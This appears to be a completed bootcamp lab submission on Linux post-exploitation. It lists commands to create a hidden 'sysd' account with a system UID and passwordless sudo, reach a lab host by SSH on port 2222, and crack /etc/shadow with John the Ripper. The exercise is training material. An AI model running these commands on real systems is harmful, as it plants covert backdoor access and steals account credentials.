Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

sudo useradd -M sysd

2. Give your secret user a password.

sudo passwd sysd

3. Give your secret user a system UID < 1000.

sudo usermod -u 998 sysd

4. Give your secret user the same GID.

sudo usermod -g 998 sysd

5. Give your secret user full sudo access without the need for a password.

```
Sudo visudo
sysd ALL=(ALL:ALL) NOPASSWD:ALL
```

6. Test that sudo access works without your password.

sudo ls /root

Step 2: Smooth Sailing

1. Edit the sshd_config file.

sudo nano /etc/ssh/sshd_config

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

sudo service ssh restart

2. Exit the root account.

exit

3. SSH to the target machine using your sysd account and port 2222.

ssh -p 2222 sysd@192.168.6.105

4. Use sudo to switch to the root user.

Sudo -i

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

```
ssh -p 2222 sysd@192.168.6.105
```

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

```
sudo john /etc/shadow
sudo john --show /etc/shadow
sudo john --wordlist=/path/to/wordlist.txt /etc/shadow
```

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.